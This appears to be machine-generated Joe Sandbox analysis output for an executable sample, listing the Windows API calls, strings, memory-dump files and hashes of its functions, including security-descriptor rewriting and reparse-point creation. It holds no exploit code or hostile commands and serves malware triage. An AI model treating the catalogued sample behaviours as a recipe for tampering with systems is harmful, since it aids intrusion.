SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0078E717

Part of subcall function 00740FA7: __wcsicmp_l.LIBCMT ref: 00741030

Strings

.dll, xrefs: 0078E564
.exe, xrefs: 0078E541
.icl, xrefs: 0078E521

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: a59a4ef2ef8066f6ef33ff67eb5633cbfc9fc6cd57f0118dd7b1a0ce0bd3035c
Instruction ID: 46db5454eda04fcad3a0aaa2f440fe06f0d411b7442e688f9866a746748c72c9
Opcode Fuzzy Hash: a59a4ef2ef8066f6ef33ff67eb5633cbfc9fc6cd57f0118dd7b1a0ce0bd3035c
Instruction Fuzzy Hash: D561CFB1640215FAEB24EF64CC46FFE7BA8BB18724F104115F915E61D1EB789E90CBA0

Function 0076D219 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 0072936C: __swprintf.LIBCMT ref: 007293AB
Part of subcall function 0072936C: __itow.LIBCMT ref: 007293DF

CharLowerBuffW.USER32(?,?), ref: 0076D292
GetDriveTypeW.KERNEL32 ref: 0076D2DF
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0076D327
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0076D35E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0076D38C

Strings

closed, xrefs: 0076D2A6, 0076D2AF
close, xrefs: 0076D298
wait, xrefs: 0076D349
open, xrefs: 0076D2B9
open , xrefs: 0076D2EE
set cd door , xrefs: 0076D32D
type cdaudio alias cd wait, xrefs: 0076D30A
close cd wait, xrefs: 0076D377

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1148790751-4113822522
Opcode ID: 0837e2f41b87cbd74c0425ad5138d0662066f2d988dafe943b6f9424734b4109
Instruction ID: adaa6e6d93c50bb30f354edf60166bccde25579af5d27dfc6334873074349929
Opcode Fuzzy Hash: 0837e2f41b87cbd74c0425ad5138d0662066f2d988dafe943b6f9424734b4109
Instruction Fuzzy Hash: 7F5149B1604315DFC710EF10D88596EB3F4EF98718F00886DF896672A2DB39AE06CB52

Function 007626BC Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000016,00000000,?,?,00793973,00000016,0000138C,00000016,?,00000016,007BDDB4,00000000,?), ref: 007626F1
LoadStringW.USER32(00000000,?,00793973,00000016), ref: 007626FA
GetModuleHandleW.KERNEL32(00000000,00000016,?,00000FFF,?,?,00793973,00000016,0000138C,00000016,?,00000016,007BDDB4,00000000,?,00000016), ref: 0076271C
LoadStringW.USER32(00000000,?,00793973,00000016), ref: 0076271F
__swprintf.LIBCMT ref: 0076276F
__swprintf.LIBCMT ref: 00762780
_wprintf.LIBCMT ref: 00762829
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00762840

Strings

Error: , xrefs: 007627F7
Line %d (File "%s"):, xrefs: 00762769
^ ERROR, xrefs: 007627D5
Line %d:, xrefs: 0076277A
%s (%d) : ==> %s: %s %s, xrefs: 00762824

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 618562835-2268648507
Opcode ID: 3d36352e0eab603538aea08480bdc0aacff50739510de54002aaefa6a7e73ae4
Instruction ID: 6d38dd4332d79ad3a138b268cf707278b43ce46bbafd47cfbd55252529891934
Opcode Fuzzy Hash: 3d36352e0eab603538aea08480bdc0aacff50739510de54002aaefa6a7e73ae4
Instruction Fuzzy Hash: 4B412F7280022DFACB15FBD0ED8ADEEB778AF19340F500065B50277092EA796F59CB61

Function 0076D0B8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0076D0D8
__swprintf.LIBCMT ref: 0076D0FA
CreateDirectoryW.KERNEL32(?,00000000), ref: 0076D137
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 0076D15C
_memset.LIBCMT ref: 0076D17B
_wcsncpy.LIBCMT ref: 0076D1B7
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 0076D1EC
CloseHandle.KERNEL32(00000000), ref: 0076D1F7
RemoveDirectoryW.KERNEL32(?), ref: 0076D200
CloseHandle.KERNEL32(00000000), ref: 0076D20A

Strings

:, xrefs: 0076D11B
\??\%s, xrefs: 0076D0F4
\, xrefs: 0076D110

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: f461d0a22cbd4dff68d02939f2022771ec8fa4b3ff7e36c409a85fab4aed136c
Instruction ID: dfcc177f9890a7df2a6d10dff1d0310821492e6d05e401eec269fa34de69f6dc
Opcode Fuzzy Hash: f461d0a22cbd4dff68d02939f2022771ec8fa4b3ff7e36c409a85fab4aed136c
Instruction Fuzzy Hash: DB317671A10109ABDB31DFA4DC49FEB77BDEF89740F1040B5F90AD21A1E7789A458B24

Function 0078E731 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,0078BEF4,?,?), ref: 0078E754
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0078BEF4,?,?,00000000,?), ref: 0078E76B
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0078BEF4,?,?,00000000,?), ref: 0078E776
CloseHandle.KERNEL32(00000000,?,?,?,?,0078BEF4,?,?,00000000,?), ref: 0078E783
GlobalLock.KERNEL32(00000000), ref: 0078E78C
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,0078BEF4,?,?,00000000,?), ref: 0078E79B
GlobalUnlock.KERNEL32(00000000), ref: 0078E7A4
CloseHandle.KERNEL32(00000000,?,?,?,?,0078BEF4,?,?,00000000,?), ref: 0078E7AB
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0078BEF4,?,?,00000000,?), ref: 0078E7BC
OleLoadPicture.OLEAUT32(?,00000000,00000000,007AD9BC,?), ref: 0078E7D5
GlobalFree.KERNEL32(00000000), ref: 0078E7E5
GetObjectW.GDI32(00000000,00000018,?), ref: 0078E809
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 0078E834
DeleteObject.GDI32(00000000), ref: 0078E85C
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 0078E872

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 7057f48d74fcd55b8339a8531f1a3387f09c72968285100d5d90915f234aa9ce
Instruction ID: cd710b587b4bd93abc8aaf54da96a93ca89420c20d99a6b5be650386e6c6590b
Opcode Fuzzy Hash: 7057f48d74fcd55b8339a8531f1a3387f09c72968285100d5d90915f234aa9ce
Instruction Fuzzy Hash: 85413975600208EFDB219F65DC88EAE7BB9FF8A715F108058F906D72A0D738AD41DB20

Function 007705F8 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 0077076F
_wcscat.LIBCMT ref: 00770787
_wcscat.LIBCMT ref: 00770799
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 007707AE
SetCurrentDirectoryW.KERNEL32(?), ref: 007707C2
GetFileAttributesW.KERNEL32(?), ref: 007707DA
SetFileAttributesW.KERNEL32(?,00000000), ref: 007707F4
SetCurrentDirectoryW.KERNEL32(?), ref: 00770806

Strings

*.*, xrefs: 00770845

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: 39295e7bf32d6d7d72da7c30663885c6d8cc383178fed4fb79521d310ea06227
Instruction ID: 01c8644cb9b4c7ff22270e06afb1babf55f741688a7fa255616b7c82a513a84f
Opcode Fuzzy Hash: 39295e7bf32d6d7d72da7c30663885c6d8cc383178fed4fb79521d310ea06227
Instruction Fuzzy Hash: D5816E71604345DFCF24EF24C85596AB7E8BBC8384F18882EF889D7251E738E9558BD2

Function 0078EEEB Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 0078EF3B
GetFocus.USER32 ref: 0078EF4B
GetDlgCtrlID.USER32(00000000), ref: 0078EF56
_memset.LIBCMT ref: 0078F081
GetMenuItemInfoW.USER32 ref: 0078F0AC
GetMenuItemCount.USER32(00000000), ref: 0078F0CC
GetMenuItemID.USER32(?,00000000), ref: 0078F0DF
GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 0078F113
GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 0078F15B
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 0078F193
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 0078F1C8

Strings

0, xrefs: 0078F079

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 7d33f23b802940bf539cfe85bef58e932de0e01c70129024a7b9e164b6d17c5d
Instruction ID: 6fa3aa4f87f1ac8937c9334c0c41e5b844d13a3711f2d043795fbb475c17f8fe
Opcode Fuzzy Hash: 7d33f23b802940bf539cfe85bef58e932de0e01c70129024a7b9e164b6d17c5d
Instruction Fuzzy Hash: FD81AF70A49305EFD720EF14C888A6BBBE9FB88314F10452EF99597291D738DD01CBA2

Function 0075A867 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0075ABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 0075ABD7
Part of subcall function 0075ABBB: GetLastError.KERNEL32(?,0075A69F,?,?,?), ref: 0075ABE1
Part of subcall function 0075ABBB: GetProcessHeap.KERNEL32(00000008,?,?,0075A69F,?,?,?), ref: 0075ABF0
Part of subcall function 0075ABBB: HeapAlloc.KERNEL32(00000000,?,0075A69F,?,?,?), ref: 0075ABF7
Part of subcall function 0075ABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 0075AC0E

Part of subcall function 0075AC56: GetProcessHeap.KERNEL32(00000008,0075A6B5,00000000,00000000,?,0075A6B5,?), ref: 0075AC62
Part of subcall function 0075AC56: HeapAlloc.KERNEL32(00000000,?,0075A6B5,?), ref: 0075AC69
Part of subcall function 0075AC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,0075A6B5,?), ref: 0075AC7A

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0075A8CB
_memset.LIBCMT ref: 0075A8E0
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 0075A8FF
GetLengthSid.ADVAPI32(?), ref: 0075A910
GetAce.ADVAPI32(?,00000000,?), ref: 0075A94D
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 0075A969
GetLengthSid.ADVAPI32(?), ref: 0075A986
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 0075A995
HeapAlloc.KERNEL32(00000000), ref: 0075A99C
GetLengthSid.ADVAPI32(?,00000008,?), ref: 0075A9BD
CopySid.ADVAPI32(00000000), ref: 0075A9C4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 0075A9F5
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 0075AA1B
SetUserObjectSecurity.USER32(?,00000004,?), ref: 0075AA2F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 80336e15c5480920ef860225280f327fd081ed2ae439d31f595739b52f71258d
Instruction ID: f0f1b6cbf97dc82148d05e85b1136d1005e863e0ece4ca0baedbeddb880a7a7c
Opcode Fuzzy Hash: 80336e15c5480920ef860225280f327fd081ed2ae439d31f595739b52f71258d
Instruction Fuzzy Hash: 7B512BB1900209BFDF10DF94DD45AEEBB79FF45301F04C22AE916A6290DB799E09CB61

Function 00779DC1 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00779E36
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00779E42
CreateCompatibleDC.GDI32(?), ref: 00779E4E
SelectObject.GDI32(00000000,?), ref: 00779E5B
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00779EAF
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 00779EEB
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00779F0F
SelectObject.GDI32(00000006,?), ref: 00779F17
DeleteObject.GDI32(?), ref: 00779F20
DeleteDC.GDI32(00000006), ref: 00779F27
ReleaseDC.USER32(00000000,?), ref: 00779F32

Strings

(, xrefs: 00779ED7

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 08cf20f571ad3e3e85f7b05864d7cd15d6fe2915c1036dec0361c49ec987bd19
Instruction ID: eb069035f3db0561c972fcdb56d7291fe29055ba88843a289685735f846a4bd1
Opcode Fuzzy Hash: 08cf20f571ad3e3e85f7b05864d7cd15d6fe2915c1036dec0361c49ec987bd19
Instruction Fuzzy Hash: 80513876A00209EFCB24CFA8C885EAEBBB9EF49350F14C41DF95A97210D779AD418B54

Function 0076CC5C Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 155COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF), ref: 0076CCA3
LoadStringW.USER32(?,?,00000FFF,?), ref: 0076CCC5
__swprintf.LIBCMT ref: 0076CD1E
__swprintf.LIBCMT ref: 0076CD37
_wprintf.LIBCMT ref: 0076CDED
_wprintf.LIBCMT ref: 0076CE0B

Strings

Error: , xrefs: 0076CDB5
Line %d (File "%s"):, xrefs: 0076CD18, 0076CD31
^ ERROR, xrefs: 0076CD8F
"%s" (%d) : ==> %s:, xrefs: 0076CE06
"%s" (%d) : ==> %s:%s%s, xrefs: 0076CDE8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: LoadString__swprintf_wprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2889450990-2391861430
Opcode ID: 486fb9617eb7ec09979aa1fdf286bdd91b391afe79467f35090cc74d56ae82c9
Instruction ID: 07f85ee69f8970b035710e0b8eae666ff2c7c513482da1123d93304780e4103f
Opcode Fuzzy Hash: 486fb9617eb7ec09979aa1fdf286bdd91b391afe79467f35090cc74d56ae82c9
Instruction Fuzzy Hash: 58519171900119FACB16EBA0DD4AEEEB778AF18300F104065F506721A2EB396F55DB61

Function 0076CA48 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 151COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 0076CA8F
LoadStringW.USER32(00000072,?,00000FFF,?), ref: 0076CAB0
__swprintf.LIBCMT ref: 0076CB09
__swprintf.LIBCMT ref: 0076CB22
_wprintf.LIBCMT ref: 0076CBCD
_wprintf.LIBCMT ref: 0076CBEB

Strings

Error: , xrefs: 0076CB95
Line %d (File "%s"):, xrefs: 0076CB03, 0076CB1C
^ ERROR , xrefs: 0076CB64
"%s" (%d) : ==> %s:, xrefs: 0076CBE6
"%s" (%d) : ==> %s:%s%s, xrefs: 0076CBC8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: LoadString__swprintf_wprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2889450990-3420473620
Opcode ID: 4188a6def831edd663f6c3a54395273f37b72c37ecbd6a0b4df289bc438e957a
Instruction ID: b374649a6f5f7ed13612c6da689c287614ee608f7554d996deb8d166d6f970c0
Opcode Fuzzy Hash: 4188a6def831edd663f6c3a54395273f37b72c37ecbd6a0b4df289bc438e957a
Instruction Fuzzy Hash: 4051C071900119EACB16EBE0DD4AEEEB778AF18300F504065F50672052EB7D6F59CF61

Function 00783C06 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 109COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00782BB5,?,?), ref: 00783C1D

Strings

HKEY_LOCAL_MACHINE, xrefs: 00783C6C
HKLM, xrefs: 00783C81
$E}, xrefs: 00783C36
HKEY_CLASSES_ROOT, xrefs: 00783C96
HKCC, xrefs: 00783CD1
HKEY_CURRENT_CONFIG, xrefs: 00783CC0
HKCR, xrefs: 00783CAB
HKU, xrefs: 00783D15
HKEY_CURRENT_USER, xrefs: 00783CE2
HKCU, xrefs: 00783CF3
HKEY_USERS, xrefs: 00783D04

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BuffCharUpper
String ID: $E}$HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-184178903
Opcode ID: 18c78d1b9eaa1d06ec630ca613e81310c4592bee7f2e19d852612df3da00114b
Instruction ID: fba83c54c394b27c6e5185087a3382b41aaca33c2c1dd157cf0b5291a8f62f51
Opcode Fuzzy Hash: 18c78d1b9eaa1d06ec630ca613e81310c4592bee7f2e19d852612df3da00114b
Instruction Fuzzy Hash: 65414230240249CBDF04FF18E855AEE3365AF52740F105465EC566B292EB7CAE1ACB70

Function 007655BD Relevance: 19.7, APIs: 13, Instructions: 213windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 007655D7
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00765664
GetMenuItemCount.USER32(007E1708), ref: 007656ED
DeleteMenu.USER32(007E1708,00000005,00000000,000000F5,?,?), ref: 0076577D
DeleteMenu.USER32(007E1708,00000004,00000000), ref: 00765785
DeleteMenu.USER32(007E1708,00000006,00000000), ref: 0076578D
DeleteMenu.USER32(007E1708,00000003,00000000), ref: 00765795
GetMenuItemCount.USER32(007E1708), ref: 0076579D
SetMenuItemInfoW.USER32(007E1708,00000004,00000000,00000030), ref: 007657D3
GetCursorPos.USER32(?), ref: 007657DD
SetForegroundWindow.USER32(00000000), ref: 007657E6
TrackPopupMenuEx.USER32(007E1708,00000000,?,00000000,00000000,00000000), ref: 007657F9
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00765805

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: 8401622c3bbb93d2d9207ffd51794ee854db713dff06f12eca31a08a58931833
Instruction ID: a7e5618cd8eaebfb81611fc579e46b87dcdeecb4adda9606322f9451a01975e2
Opcode Fuzzy Hash: 8401622c3bbb93d2d9207ffd51794ee854db713dff06f12eca31a08a58931833
Instruction Fuzzy Hash: DE710570640606BFEB319F54CC49FAABF65FF41764F244205F9166A1E0C7B96C20EBA4

Function 007667E9 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 107windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 007667FD
__swprintf.LIBCMT ref: 0076680A

Part of subcall function 0074172B: __woutput_l.LIBCMT ref: 00741784

